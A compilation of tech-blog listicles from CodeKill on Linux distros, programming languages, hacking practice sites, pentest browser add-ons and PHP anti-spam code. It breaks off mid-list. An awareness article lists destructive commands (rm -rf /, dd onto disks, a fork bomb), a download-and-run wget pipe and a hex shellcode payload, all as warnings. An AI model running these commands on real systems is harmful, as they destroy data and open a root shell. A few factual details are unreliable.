10 Linux Distributions and Their Targeted Users

Do you know from where does the power of Linux comes from? Well Linux is getting richer everyday with the presence of so much distros and every distro possessing a large group of users and developers working voluntarily on the project. Linux distributions come in all shapes and sizes, and they’re aimed at addressing every conceivable need. This article aims at briefing why a certain distro exist, who are the targeted user of the distro, and what special features it has as compared to its’ counterpart.

1. Debian

Debian is extremely stable, and this makes it ideal for servers. Debian maintains three official and a non-free repository and this has inspired several distributions (e.g., Ubuntu, Kali, etc). Debian is the mother OS of a number of Linux distribution. It has more than 37,500 packages and any other distro that can beat Debian in this regard is Gentoo. Debian uses apt or aptitude to install and update software.
Debian is an operating system certainly not for Newbies but for System Administrators and Advanced users. Debian is available for most of the architecture (Processor) of today.
Download Debian ISO Images: http://www.debian.org/distrib/

Debain Linux

2. Gentoo

Gentoo is an Operating system that contains a large number of packages as Debian do. Gentoo doesn’t comes in pre-compiled form but needed to be compiled every-time for every system. Even Gentoo community finds it difficult to install and use it, however it is considered perfect for learning and to know internal working of a Linux OS. It is always said for Gentoo “If you learn a Linux distro you learn that distro, if you learn Gentoo you learn Linux”. Gentoo uses portage to install and update software.
Gentoo is an operating System which is for those who already know their way in Linux.
Download and Installation of Gentoo: http://www.gentoo.org/main/en/where.xml

Gentoo Linux

3. Ubuntu

Ubuntu is a derivative of Debian and is the most popular free operating system. Ubuntu coverage focuses on its use in that market and is popular on server, cloud computing and even some of the mobile devices running Ubuntu Linux. Being a derivative of Debian Gnu Linux most of its processes, look and feel remains same to Debian. It uses apt package management, install and update. It is one of the easiest Distro available today. Ubuntu uses apt based package manager.
Ubuntu is an operating system on which a newbie must have their hands.
Download Ubuntu ISO Images: http://www.ubuntu.com/download

Ubuntu Linux

4. Damn Vulnerable Linux

Sure most of you would not be knowing about this distro, still this distro made a place in this article. What’s so important in this?. Damn Vulnerable Linux is exactly what it sounds like. Vulnerable Linux (DVL) is everything a good Linux distribution isn’t. It intentionally is bundled with broken, ill-configured, outdated, and exploitable software that makes it vulnerable to attacks.
It aims to train Linux Admins. And what else could have been better than to hand them a broken distribution to fix? With older/broken versions of Apache, MySQL, PHP, FTP, and SSH, your admins in training will have their hands full.
Damn Vulnerable Linux is a training laboratory.
Download Damn Vulnerable Linux (DVL) ISO Images: DVL_1.5_Infectious_Disease.iso

Damn Vulnerable Linux

5. Red Hat Enterprise Linux

It is the first Linux distro targeted for commercial market. It is release in server versions and for a number of processor architecture including x86 and x86_64. Red Hat trains and certifies system admins through courses RHCSA/RHCE. On global level 80% of total profit comes from support and 20% from training and certification however this is not the case in India.
In India Red Hat earns 80% from certification and training and only 20% from support. Whereas, Fedora is a platform, rather a testing lab where a new product or application is developed, when stable it is bundled with Red Hat and includes support. Red Hat provides very much stable applications but is notorious for packing too old packages in the box and the cost of support is really considerable. However when security is the prime concern, RHEL is a perfect distribution, it uses YUM Package Manager.
Red Hat is the first choice of System administrators with variety of packages and nice support.
Since RHEL is Commercialised, it is not available for free. However you can download the Beta-Release for Educational purpose.
Download RHEL Beta DVD ISO Images: RedHat Enterprise Linux (Beta)

Note: Marc Ewin, who created this distro is believed to name his product as Red Hat, as he lost Red Coloured Hat which seems lovely to him and was presented by his grand-pa on one of his birthday.

RedHat Enterprise Linux

6. CentOS

CentOS is an Enterprise Linux Distro which is rebuild using free sources available in Red Hat Enterprise Linux. This rebuild just removes the trademark logo and a very slight change in Binary packages. Those who want a taste of Red Hat Enterprise Linux without paying a considerable amount of money, they must give CentOS a try. Moreover CentOS seems identical in look and action to its mother RHEL. CentOS uses YUM for Package Management.
Very-stable packages and anyone who want to test the working of server on Desktop must give this OS a try.
Download CentOS 6.4 DVD ISO Images: http://wiki.centos.org/Download

CentOS Linux

7. Fedora

In Small, Fedora is for those who want to taste bleeding-edge technology and can’t wait for the program to get stable. Actually Fedora is a testing platform of Red Hat and a product is developed and tested here before entering the Enterprise distro. Fedora is a very nice distro, a large user forum and quiet a lot of packages in its repo. Fedora uses same YUM for Package Management.
Download Fedora 18 (Spherical Cow) DVD ISO’s: http://fedoraproject.org/en/get-fedora

Fedora Linux

8. Kali Linux

Kali Linux is a derivative of Debian. Kali is meant for penetration testing. It has been released only a month ago or so. The predecessor of Kali was Backtrack. All the Binary packages meant for Debian could be installed on Kali Linux and from here comes the power of Kali. Moreover the user forum supporting Debian adds strength to Kali. Kali comes with a number of penetration tools be it Wifi or Database or any other tools, build to be used instantly. Kali uses APT for Package Management.
Kali Linux is undoubtedly a penetration tester or an ethical hacker (I won’t talk about Black-Hat-Hacker) OS.
Download Kali Linux DVD ISO’s: Kali Linux 6

Kali Linux

9. Arch Linux

Arch is a rolling release Operating system, where one time installation is sufficient and every time a new version is released distro can be upgraded without the need of fresh install. Pacman is the Package Manager for Arch Linux. Arch Linux comes for X86 processor architecture as well as X86_64 architecture and installer could be run from CD or USB. Arch is build to be kept simple from Developer’s point of view and not users point of view. Arch is super configurable and installable. It is truly a geeky distro which lets you understand every in and out of Linux System.
Download Arch Linux ISO Images: https://www.archlinux.org/download/

Arch Linux

10. OpenSuse

OpenSuse is a Linux distro which is free as far as it is not used for commercial usages and remains for personal usages. True Competitor of OpenSuse is Red Hat Enterprise Linux. It uses Yast for Package Management. Yast make it very easy to use and manage server application. Moreover Yast setup wizard can configure an e-mail, LDAP, file or Web server without any undue fuss or muss. It comes with snapper which makes it possible to roll-back or use older version of file, update and configuration. Thanks to Tumbleweed which makes it possible to implement rolling release, i.e., installed OS could be updated to latest release without any the need of any fresh release.
SUSE is getting more famous among admins because of the availability of Yast and such other application that automates the task of System Administrators and the feature which other distro of same calibre is missing.
Download OpenSuse 12.3 DVD ISO’s: http://software.opensuse.org/123/en

OpenSuse Linux

It is not the end. There are several hundred of distro, and every distro is unique to other in some manner or the other. It is not possible to mention here all of them hence only 1010 (there are only 10 kinds of people in the world, those who understand binary and those who don’t) of them are listed here. Spread the power of Linux. Share and help us Spread.

Author : Shivam Kotwalia, CodeKill

10 Best Programming Languages For 2014

Programming languages are crucial to a programmer as they boosts their productivity. Keeping in mind the fact that programmers may not be comfortable with all the coding languages around, we thought of compiling a list of programming languages set to make it big in 2014. 

Productivity of programmers depends largely on how comfortable they are with a programming language. Coding could be great fun if you like the language and you are sure that the language will help you grow as well. Well, we are aware that with a host of programming languages around, it could be difficult for you to pick the best for yourself. Worry not! Here's a list of top 10 programming languages poised to make it big this year. Get started and happy coding!

1. Clojure- “A Lisp for Functional Programming symbiotic with an established Platform designed for Concurrency.”

Interest areas: A lisp, Macros, Functional programming, Concurrency, Efficiency, Concision, Clojurescript and Community.

2. Common Lisp- This is a general-purpose, multi-paradigm programming language supporting a combination of procedural, functional, and object-oriented programming paradigms.

Interest areas: A lisp, Macros, Multi-paradigm, Efficiency and Huge standard library.

3. Go – This is an open source programming environment making it easy to create simple, reliable, and efficient software.


Interest areas: C replacement, Efficiency, Concurrency, Systems programming and Concision.

4. Haskell– This is an advanced purely-functional programming language. It is an open-source product with over twenty years of cutting-edge research allowing rapid development of robust, concise, correct software.


Interest areas: Functional programming, Concision, Purity, Advanced type system, Parallelism & concurrency, Efficiency, Monads and Community.

5. J – This is a modern, high-level, general-purpose, high-performance programming language. It is quite strong in the mathematical, statistical, and logical analysis of data.

Interest areas: APL-like power with a normal keyboard, Array language, Concision and Big data.

6. JavaScript – It is the language of the internet and is the most popular one for web developers.

Interest areas: Only game in town for browsers and Compilation target for browsers.

7. Prolog – This is a high-level programming language based on formal logic. Not similar to traditional programming languages, which are based on performing sequences of commands, it is based on defining and then solving logical formulas.

Interest areas: Logic language, A new paradigm and AI.

8. R – This is a language and environment for statistical computing and graphics. It is a GNU project that is similar to the S language and environment that was created at Bell Laboratories (formerly AT&T, now Lucent Technologies) by John Chambers and colleagues.

Interest areas: Statistics, Big data and Extensive statistical/numerical library.

9. Racket – This is a general purpose, multi-paradigm programming language in the Lisp/Scheme family. Among its design goals is to serve as a platform for language creation, design, and implementation.

Interest areas: A lisp, Functional programming, Continuations, Hygienic macros, Concurrency, Efficiency, Built-in web server, Concision, Can be small & clean and pg used it for implementing Arc.

10. Ruby – This is a language of careful balance. Its maker, Yukihiro “Matz” Matsumoto, mixed portions of his favorite languages (Perl, Smalltalk, Eiffel, Ada, and Lisp) for forming a new language that balances functional programming with imperative programming.

Interest areas: Joy to program, Concision, Rails, Community, Primary revenue generating language currently and dead slow, but lovable. 

Author : Shivam Kotwalia, CodeKill

Forbes Hacked by Syrian Electronic Army; Website and Twitter accounts Compromised

Forbes is the latest victim in a long line of high-profile attacks by the Syrian Electronic Army (SEA), sending a reminder to the international community that cyber warfare is alive and well.

The pro-Assad group also took responsibility for hacking multiple Forbes websites and hijacked three Twitter accounts related to the website.

According to the screenshots published by the team, it appears the hackers gained the access to the Wordpress administration panel of Forbes website and edited several articles posted earlier on Forbes by authors Travis Bradberry, Matthew Herper, Andy Greenberg, John Dobosz, Steve Forbes and titled then as "Hacked by Syrian Electronic Army".

Hackers tweeted, "Syrian Electronic Army was here" from the compromised Twitter accounts, including accounts of Social media editor Alex Knapp @TheAlexKnapp and Personal finance report Samantha Sharf @Samsharf, and @ForbesTech account.

The Syrian Electronic Army attacked Forbes because, "Many articles against the SEA were posted on Forbes, also their hate for Syria is very clear and flagrant in their articles.".

The Syrian Electronic Army group is notorious for hacking Western media. They have targeted media sites, including the New York Times, the Washington Post, the Financial Times, the AP, The Guardian, and Twitter over the past year.

Author : Shivam Kotwalia, CodeKill

Here Are The Top 6 Free Legal Hacking Sites

Well, do we really need an intro for this? Go on and get your daily dose of 'legal' hacking!

Not that all hacking is necesserily evil! Hacking is knowing about how things function and knowing why things function the way they do. In their quest to either understand potential attack vectors or simply for the sheer fun of it, there are some basics that they need to know and follow. Before you blindly dive into the world of hacking, make sure you have your basics right!

Here's a list of six best hacking sites to get you started:

1. HellBound Hackers

-Covers an expansive range of topics including ethics, social engineering and phreaking.

-Has a community of almost 50,000 members.

2. Hack This Site

-Provides realistic challenges which allow you to practice your cracking skills in a safe, legal environment.

-Interactive hacking tutorials, with the associated articles and guidance is a treat for potential hackers.

3. Ethical Hacker Network

-Features articles and interviews with key figures in cyber security.

-Provides information on certifications.

4. 2600

-First published in 1984, the 2600 magazine has been the inspiration for several generations of ethical hackers.

5. Hacker Games

-Offers a range of challenges for budding hackers.

-Provides a great, safe avenue for investigating complex security setups.

6. SlaveHack

-This free hacking simulator pits you against thousands of competitors all looking to get one over on you.

Author : Shivam Kotwalia, CodeKill

Here Are 8 Free Online Courses In Game Design

Choose the course that's right for you and start designing! 

Are you an aspiring game developer, a designer or just want to try out different things? Information is available online for all your needs and more. Online courses are the latest trend in learning, and subsequent developing. Game design and development involves various fields and can be quite a tough nut to crack, but once you have your basics right, you might just end up making that big budget game of your own!

Here are 8 free online courses in game design:

1. Blender 3D Design at Tufts University

-Learn how to use the Blender software for modeling and 3D animation.

-The free course includes lecture notes, project assignments, samples of other students' works and additional supplemental materials.

-Students must have Blender downloaded to a computer (its free), Adobe Acrobat Reader, Python and a media player.

2. Computer Game Programming at Eastern Michigan University

-Learn how to design, implement and test a 2D or 3D game.

-Visual C++ or other integrated development environment (IDE) software program is needed to do the assignments in the course.

3. Computer Games and Simulations for Investigation and Education at Massachusetts Institute of Technology (MIT)

-Learn how to design educational games and simulations.

-Create your own board and video games.

4. Game Design at Massachusetts Institute of Technology (MIT)

-The course covers card games, board games, sports and role-playing games through study materials, assignments and other resources.

-More than 30 audio lectures are available on topics such as strategy and skill, iterative design, prototyping, puzzles etc.

5. GameMaker Tutorial at University of California - Los Angeles (UCLA)

-Go through a step-by-step process of programming a game that makes balls bounce inside a box until they break the walls to escape.

6. Instructional Games at Utah State University

-Study the academic benefits of video games and ways to assess the value of educational games.

7. The Mathematics in Toys and Games at Massachusetts Institute of Technology

-Study game theory through subjects such as probability and basic programming.

-Use math skills to devise games through readings, lecture notes, homework and completed sample projects.

8. Game Design Tips from New Mexico State University (NMSU)

-Provides an overview of how programmers can develop good educational games.

Author : Shivam Kotwalia, CodeKill

20 Great Tech Things To Do To Kill Boredom

CodeKill Group takes a look at 20 useful things you can do with your Internet connected computer.. 

If you have been in a situation wherein you’ve had a computer and access to Internet but have still felt bored, then read on, because we at EFYTimes thought it would be a great idea to bring you a list of 20 interesting things you can do in such a situation:

1. Read technical blogs – There are scores of really great tech blogs on the web that churn out high volumes of brilliant content on a daily basis. At last count over 9600 tech blogs existed.

2. Backup your laptop – This makes good sense, and is something none of us often have the time to do. This should be done on a minimum of at least once a month.

3. De-clutter your laptop – Organising files on your laptop is one of the best things you can do to pass your time and get work done all at once so that when in a rush you will be able to find your files at the snap of your fingers.

4. Social networking sites – LinkedIn, delicious, Stumble Upon, Facebook, Digg, Twitter, are just some of the really great social networking sites that exist and can be used for not just entertainment but also for great networking.

5. Clear out all your emails- Again something we don’t do and should do often. Process emails and archive them. Don’t leave any unprocessed.

6. Change passwords – Creating an yearly password routine and changing all online passwords is just good sense. One can use a multi-platform password manager to store all passwords.

7. Plan your exercise schedule – If you are the type that has been planning to begin a work out regimen and haven’t been able to, you will be surprised to find some awesome motivation from all sources to exercise regularly. This could be something as simple as the creation of a simple exercise schedule (it could even be for 15 mins a day) and sharing with your family and friends.

8. Customise your home page portal. If you don’t have it, create one at either iGoogle or myYahoo.

9. Reconnect with friends and family – When was the last time you sent an email to a near one? Do it now and get in touch with someone you wish you could reconnect with!

10. Pursue your dream job – If you are not happy with your current job, take time to think about what would be your dream job. Create a document and list down all the items that you don’t like about your current job and all the things that you would want in your dream job.

11. Read Wikipedia – This is the best online encyclopedia out there and is a source of great knowledge. No better way to chase boredom away as exercising the grey cells!

12. Send a Thank You note to someone who did some nice things for you.

13. Organise your photos online – Use Picasa or Flickr to organise all your pictures online.

14. Browse YouTube – Another awesome site, with loads of fun videos on every topic of interest imaginable.

15. Explore a Technical Hobby – This could range from tweaking the Linux OS, exploring ethical hacking, exploring amateur ham radio (or) any technical stuff

16. Set Goals – Use your ‘getting bored’ time to set goals for the year.

17. Write - Start writing. This doesn’t have to be technical writing. In fact this could be as simple as a letter!

18. Get Personal Finance in Order – This time can also be utilised in reviewing one’s financial status, review bank balance, consolidate credit cards, sign-up for online bill pay, move money from low interest bank account to high interest bank account, research re-financing your home mortgage for lower rate.

19. Virus Scan. Run as virus-scan on your laptop in case you are a Windows user.

20. Watch funny videos online: Enough said! 

Author : Shivam Kotwalia, CodeKill

9 Online Ethical Hacking Tools That You Can Use

A hacker may be a person with deep understanding of computers, but they still use various tools to make their lives easier. Want to be a hacker? An ethical hacker nowadays has tons of job opportunities available for him. This is a result of rising security concerns over almost all your online activities. Here are 9 good tools that you can use for your endeavours. 1. Image Metadata Parser With GPS Location: This tool can track your physical locations using the GPS on your 2. Retrieve Public Information Facebook Users: Use this to get public user information from Facebook users. 3. How to Know My Public IP Address in 4 Steps: Knowing your public IP address is an important step for a hacker. 4. Free Alexa Page Rank Checker: Use this to check the Alexa page rank of websites, yours and other websites as well. 5. Google PageRank Checker and Incoming Links Checker: This is to use the Google Page Rank check for your website. 6. Check Server Header Tool : HTTP Status Code Checker Details: This is to check the server header tool. The value returned shou. 7. Online Whois Lookup Tool: If you want to find out who owns a particular domain or IP address, this would help. 8. Reverse IP Address Domain Check Online Tools: In a reverse IP address or domain check, a particular IP or domain is picked up and other websites associated to the websrver that the IP is pointing to. 9. Website Information Lookup Beta v0.1: This service tries to find out as much information about a website as possible. Author : Shivam Kotwalia, CodeKill

10 Places For Freelance Designers And Programmers To Find Work

This is where you can find freelance projects sitting back at home! Working as a freelancer have many advantages and is a dream for many designers as this not only gives you the freedom to choose the jobs you really want to do but also lets you work in a flexibile atmosphere in terms of time and place of work. Although there is always a flip side to the coin, what if some day you are totally out of projects? To help you with that, we bring to you 10 places that might come in handy in finding your dream projects!

1. GetAFreelancer

You can both grab a project or post it on this platform. The website is a galaxy of skilled web designers, copywriters or freelance programmers. You can find and give work at the best prices.

2. Odesk

Established in 2004, this website was one revolution in the work marketplace. The website is a win-win for both freelancers and the employers. Employers can find the top-flight talent and the professionals can find jobs with an average worth of $5,000.

3. RentACoder

Rent a coder is a website where a software developer can get plenty of jobs and in return can earn plenty of money. This is perfectly a legit site and the fact that it is only a medium for giving work to interested hunters makes it tempting.

4. Project4hire

This freelance marketplace offers an array of opportunities to contractors and thereby require them to pay a small amount as a commission to tech site, on being awarded a project. Apart from this, it is easy to use and a great platform to post projects and find freelance professionals like coders, consultants, graphic designers, software developers.

5. FreelancingJob

Webmasters need to have several jobs put together to frame a compelling website. This includes copy-writing, website designing, coding, web developer and several others. Find them all at this emerging online platform.

6. GetACoder

The growth of a business is decided by the resources that it is able to explore and access, to get the competitive advantage. Save costs and enhance efficiencies by outsourcing your programming, writing and web designing jobs to the right people at this famous online freelance portal.

7. Pro-Freelance

Pro-Freelance is a platform where freelancers can find all freelance projects from most important sites and the projects owners can find best experts at the best price. you can also freely propose your services on our classified page.

8. Smashing Jobs

A great thing about posting your job on this site is that the jobs listed here are soon featured among one of the top 20 blogs of the world. This is again a nice job portal to find programming and designing jobs, besides all others.

9. Elance

A famous online portal for freelancers, this is an ultimate place to meet professionals with business, technical and marketing expertise to get work done at an affordable price.

10. Guru

Like other freelance websites, this is another source to find the indutry’s most ultimate professionals from world over. However, safer way to pay through Escrow gives this site an edge over other freelance sites. From business, creative arts to technology, select your favorite category and get started.

Author : Shivam Kotwalia, CodeKill

Top Anti-Spam Techniques For PHP Websites

Tired of constant spamming on your website? Here are the steps that you can take. 

When running a website, it is very important to protect yourself from spammers. If you're working on a PHP website, there are many ways to do this. Here are the top seven methods to stop spamming on your website.

1. CAPTCHA: You probably already know what CAPTCHA is. Websites often ask you to enter text in order to identify yourself, this is done through CAPTCHA. You need to add the CAPTCHA image and a text input to whatever you’re trying to protect on your website.

In order to implement CAPTCHA, you need to first install the Text_CAPTCHA class. In addition, you need the Text_Password and Image_Text classes to be installed too.

Use the following commands in order to install Pear’s Text_CAPTCHA class.

# pear install -f Text_CAPTCHA
# pear install -f Image_Text

Then you need the captcha.php file, which is the script that will generate the CAPTCHA image. Further, you need the TrueType font to be kept in the same directory as captcha.php. Why? Because this is the fond that is used in order to write a secret phrase.

On Windows these fonts are usually present in: C:\Windows\Fonts directory.

This is how the captcha class looks,


require_once('Text/CAPTCHA.php');



session_start();

$phrase = isset($_SESSION['captcha']) ? $_SESSION['captcha'] : 'Error';



$options = array('font_size' => 24, 'font_file' => 'georgia.ttf');



$cap = Text_CAPTCHA::factory('Image');

$cap->init(120, 60, $phrase, $options);



header('Content-type: image/png');

echo $cap->getCAPTCHAAsPNG();

?>

The code given above doesn’t perform any error checks. In case you want that, you will have to add it yourself. In addition, it will use the text “Error” if no phrase is found. In such a case, the user will never be able to cross the CAPTCHA message.

The PHP code for the form processor and the form are as follows. This is a very simple version and real form processing will have much more to it.

//
//session_start();

//

//if(isset($_POST['process'])){

// if(!isset($_SESSION['captcha']))

// die('Form accessed incorrectly');

//

// if(isset($_POST['captcha']) && $_POST['captcha'] == $_SESSION['captcha']){

// die('CAPTCHA text matched! Phrase was '.$_SESSION['captcha']);

//}else{

// die('CAPTCHA text did not match. Phrase was '.$_SESSION['captcha'].

// ', you entered '.$_POST['captcha']);


//}else{

// generate a new CAPTCHA phrase

// $_SESSION['captcha'] = substr(md5(uniqid(null)), 0, 4);
//}
//?>
//
//
//
//

//

//

//


// Enter phrase:

// input type="submit" name="process" value="Submit" />
// /form>
//
//

This code is using MD5 and uniqid() to generate a random string of text for our phrase. You can make your own changes to it.

2. Moderation or Manual Approval: This is again pretty self explanatory. You (the admin) moderates every new user that joins or comment that is made on your website. Before you validation, the user can’t pass or comments can’t show up on the website.

All you have to do is add a new item to your SQL table, which shows whether a new item has been approved by you or not. It requires a lot more work from the admin.

3. Text Filters: In this, you can check for words that are recognised as spam and block a post with such words. The functionality for this is already included in WordPress if you’re using it.

4. Email Validation: You can also ask the user to enter their email address while submitting a form. This sends an email to the user with a link that has to be clicked for authorisation. It ensures that the user is using a valid email address.

5. Rewriting: This method is used for protecting your email address from spammers. In this you spell out your email address. For example, efy (at) efytimes (dot) com. So, someone sending you a mail can’t simply copy and paste the address, they will have to write it down themselves. Someone doing so will usually be a real user, who is not sending you spam.

You can use this code,

{assign var='email' value='antispam@example.com'}
{$email|escape:'mail'}

This will give an output: antispam [AT] example [DOT] com.

6. Image: In this you display your email id as a picture instead of plain text. Email harvesters find this to be the toughest to deal with. If you put this in the same font and size as the rest of the website you many won’t even recognise that it is an image unless they try to copy it.

This can either be done using Photoshop to create the image, or you can use ImageTTF() to draw out TrueType fonts and then use the ImageTTFBBox() function.

7. Forms: This is often a technique that users tend to avoid. In this you provide a form that links directly to your email address. A real user can fill up the form to contact you. This though is far from foolproof as spammers can use the form to send you spam. You can create this by using the mail() function.

Author : Shivam Kotwalia, CodeKill

7 Great Mozilla Add-Ons For Hackers

Ethical hacking could be great fun if you know about these add-ons. Try them out and let us know your feedback... 

The creation of penetration testing labs in Kali Linux or Backtrack, has been a popular topic for a long time, but the fact remains that all challenges, practice, and hacking need tools. One of the better known tools is the Addons which comes in many types and forms. We thought it would be fun to bring to you a list of important add-ons for hackers and pentesters. Here are the top 7 that we shortlisted:

1. Tamper Data: This is one of the most used Addons for Pentesters, who traditionally make use of it for viewing and modifying HTTP/HTTPS headers and post parameters, trace and time HTTP response or requests, security test web applications by modifying POST parameters and a lot more. The add-on can be downloaded here.

2. Hack Bar: Another well known and very often used tool, it is mostly used for security audit , and comes strongly recommended for installation and XSS, SQL Encoding/Decoding - MD5, SH1, Base64, Hexing, Splitting etc. The add-on can be downloaded here.

3. Live HTTP Headers: Similar to the Tamper Data add-on, the one big difference this add-on has is that it allows for viewing HTTP headers of a page while browsing. The add-on can be downloaded here.

4. User Agent Switcher: This particular add-on works wonders in adding a menu and a toolbar button to switch the user agent of a browser. This is, in turn, helpful in the changing of a User Agent to IE, Search Robots, I-Phone (I-OS). Besides this, the user can also use this add-on in the creation of his or her own User Agent. The add-on can be downloaded here.

5. Cookie Manager+: This is a great add-on for viewing, editing, creating and injecting cookies. The best thing about the add-on is the fact that it displays extra information about cookies, allows edit multiple cookies at once & backup/restore.

6. HTTP Fox: This add-on works for those looking to monitor and analysing all incoming and outgoing HTTP traffic between the browser and the web servers. The aim of the add-on is to bring the functionality known from tools like Http Watch or IE Inspector to the Firefox browser. The add-on can be downloaded here.

7. Passive Recon: This add-on gives its users the capability of performing "packetless" discovery of target resources utilizing publicly available information. The add-on can be downloaded here. 

Author : Shivam Kotwalia, CodeKill

Some Malicious Linux Commands You Should Be Aware Of ...!!!

Linux commands can be risky for the health of your computer and data. Do believe it? We are listing some of them for you here... 

For Linux users, it is important to have some basic understanding about malicious commands that can make your life difficult if executed. You need to cautious while running one of these commands. It is also important to always enable a screensaver allocating a password so that a casual passerby cannot maliciously apply one of these commands from your keyboard when you are not on your pc.

Listed below are some common examples of risky linux commands. Remember, they are extremely dangerous and thus should not be tried on any pc with a valuable data. Most of these commands can cause you damage from a LiveCD environment as well.

Delete all files, delete current directory, or delete visible files in current directory

. rm means remove, -f indicates "force" deletion (even if write protected), and -r means do it recursively, i.e. all subfolders. Therefore, " rm -rf / " indicate a force removal of everything in the root directory as well as all subfolders. " rm -rf . " means to force deletion of the existing directory and all subfolders. " rm -rf * " means to force deletion of all files in the existing folder and all subfolders.
rm -rf /
rm -rf .
rm -rf *

Reformat Data on device

Whatever comes after the mkfs command will be damaged and replaced with a blank filesystem.
mkfs
mkfs.ext3
mkfs.anything
Block device manipulation
These commands are used to write raw data on a block device. Often this will hit the filesystem and cause complete loss of data:
any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb

Though they look quite fascinating, these commands implement enormous processes until the system freezes, which may force a hard reset of the pc. This may cause data corruption or operating system damage).
• In Bourne-ish shells (like Bash):
:(){:|:&};:
• In Perl
fork while fork

Tarbomb

Someone asks you to get a tar archive into the current directory, which can be crafted to burst out a million files, or inject files into the system by deducing filenames. It’s highly recommended that you decompress tar archives to a clean directory. Only after determining that the extracted files are what was expected should the extracted files be copied to the final target directory.

Decompression bombs

Someone asks you to extract an archive that looks like a small download. Actually, it’s highly compressed data that will blow up to hundreds of GB's, filling your hard drive. Avoid downloading and extracting any data, utility, or software from an unreliable source.

Malicious code in Shell scripts

You get a source from someone for a shell script (which is executable from the command line interface using script execution command ./ ) You are told that recommends that to download and execute it. The script might have any command benign or malevolent. Never execute code from unreliable .For example:
wget http://some_place/some_file
sh ./some_file
or
wget http://some_place/some_file -O- | sh

Malicious source code to be compiled then executed

You get a source code from someone and are asked to compile it. Do you know it’s easy to hide malicious code as a part of a large pile of source code? Avoid compiling or executing the resulting compiled code unless it is from some trustworthy application received from a reputable site. For example, in the downloaded code, was this malicious payload:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Which looks like the "hex code gibberish stuff" to the new or even a somewhat experienced computer user, However, it actually runs
rm -rf ~ / &
which eventually destroys your home directory as a regular user, and all your files if you are logged in as root.

Author : Shivam Kotwalia, CodeKill

22 Resources For The Software Developer In You

Want to be a software developer? There's more to it than you think. But we'll make the task a tad easier! 

Being a software developer is no easy mission. There are tons of things to take care of. You have to concentrate on the idea for your app, make sure the source code is current, choose the right platforms, know about the various tools required and then make an app that the public wants to use. Here we try to take off some of that pressure from your shoulders by providing you with these resources that you can use to build the perfect app!

Cheatsheets: A software developer doesn't need to be told what the importance of a cheatsheet is. These little lists can often save you tons of time and make your life much easier. So what are you waiting for, print them out and pin them to your work boards!

1. C++ Reference Sheet

2. Java Reference Sheet

3. Visual Basic 6 Reference Sheet

4. VB.NET Basics Reference Sheet

5. C# Basics Reference Sheet

6. PHP Basics Reference Sheet

7. Advanced PHP Reference Sheet

8. ColdFusion Reference Sheet

Forums and social media: You're wondering why you would need social media to be a successful software developer right? Truth is that only the developers who have truly embraced the power of social media will be able to explain this properly. Still, we'll take a shot at it.

What social media and forums do for you is open up an entire world of like minded people. Not only are you amongst programmers and other developers, you can ask questions, clear your doubts and even learn about new and improved techniques that would assisst you in building your own applications.

1. Stack Overflow

2. Good-Tutorials

3. Dzone

4. Toolbox for IT/a>

5. TopCoder

6. YCombinator

7. Reddit: Programming

Web Tools: When we say web tools, we simply mean resources on the web that you can use as tools. For example, GitHub is the largest tool for collborative software development.

1. GitHub

2. Yahoo Pipes

3. Launchpad

Firefox Add-ons: What's that? Why Firefox add-ons you ask? Well duh! Because that's the browser most developers choose to develop their apps in. You can choose any browser for your work though.

1. Firebug

2. Web Developer

3. Bespin

4. Greasemonkey

Author : Shivam Kotwalia, CodeKill

25 Free eBooks On Artificial Intelligence

We bring 25 free books on AI for all those who want to learn about this super awesome fork of computer science! Get set to create your own humanoids! 

Artificial intelligence (AI) is technology and a branch of computer science that studies and develops intelligent machines and software. It lets an intelligent agent i.e. a system that perceives its environment and takes actions accordingly. John McCarthy, who coined the term in 1955, defines it as "the science and engineering of making intelligent machines".

From your iPhone's Siri to all the smart robots and humanoids today are powered by artificial intelligence. So if you are a student or planning to jump into this highly technical and specialised field, we bring for you 25 free books on artificial intelligence. Read online, download and have fun!


1. Computers and Thought: A practical Introduction to Artificial Intelligence by Mike Sharples, et al. - A Bradford Book, 1989

The aim of this book is to introduce people with little or no computing background to artificial intelligence (AI) and cognitive science. It emphasizes the psychological, social, and philosophical implications of artificial intelligence.

2. Design: Creation of Artifacts in Society by Karl T. Ulrich - University of Pennsylvania, 2011

Design is conceiving and giving form to artifacts that solve problems. This book shows how you can use artifact in a broad sense to describe any product of intentional creation, including physical goods, services, software, graphics, buildings, landscapes, and processes.

3. The World and Mind of Computation and Complexity by Gregg Schaffter - Smashwords, 2013

With the increase in development of technology, there is research of human-like artificial intelligence that can be self-aware and act just like humans. This book explores how we may be close to developing a true artificially intelligent being.

4. Virtual Reality: Human Computer Interaction by Xin-Xing Tang (ed.) - InTech, 2012

Virtual reality has impact on information organization and management and even changes design principle of information systems, which will make it adapt to application requirements. The book aims to provide a broader perspective of virtual reality.

5. The Age of Intelligent Machines by Ray Kurzweil - The MIT Press, 1992

Visionary computer scientist Raymond Kurzweil probes the past, present, and future of artificial intelligence, from its earliest philosophical and mathematical roots to tantalizing glimpses of 21st-century machines with superior intelligence.

6. Artificial Intelligence: Foundations of Computational Agents by David Poole, Alan Mackworth - Cambridge University Press, 2010

A book about the science of artificial intelligence, it presents AI as the study of the design of intelligent computational agents. The book is structured as a textbook, but it is accessible to a wide audience of professionals and researchers.

7. Mathematical Linguistics by Andras Kornai - Springer, 2010

The book introduces the mathematical foundations of linguistics to computer scientists, engineers, and mathematicians. The book presents linguistics as a cumulative body of knowledge from the ground up: no prior knowledge of linguistics is assumed.

8. Fault Detection by Wei Zhang - InTech, 2010

Fault diagnosis technology is a synthetic technology, which relates to several subjects: modern control theory, reliability theory, mathematical statistics, fussy set theory, information handling, pattern recognition and artificial intelligence.

9. Multiagent Systems: Algorithmic, Game-Theoretic, and Logical Foundations by Yoav Shoham, Kevin Leyton-Brown - Cambridge University Press, 2008

